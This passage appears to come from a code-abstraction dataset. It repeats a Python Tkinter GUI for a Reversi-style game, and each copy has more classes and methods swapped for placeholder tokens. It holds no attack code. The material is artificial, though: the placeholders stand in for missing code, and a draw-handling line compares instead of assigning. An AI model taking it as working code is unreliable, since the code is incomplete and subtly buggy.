self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n\n\nclass Custom_Board(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n <function token>\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n\n\nclass Custom_Board(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n <function token>\n <function token>\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n\n\nclass Custom_Board(tk.Frame):\n <assignment token>\n <function token>\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n <function token>\n <function token>\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n\n\nclass Custom_Board(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n\n\nclass Custom_Board(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n 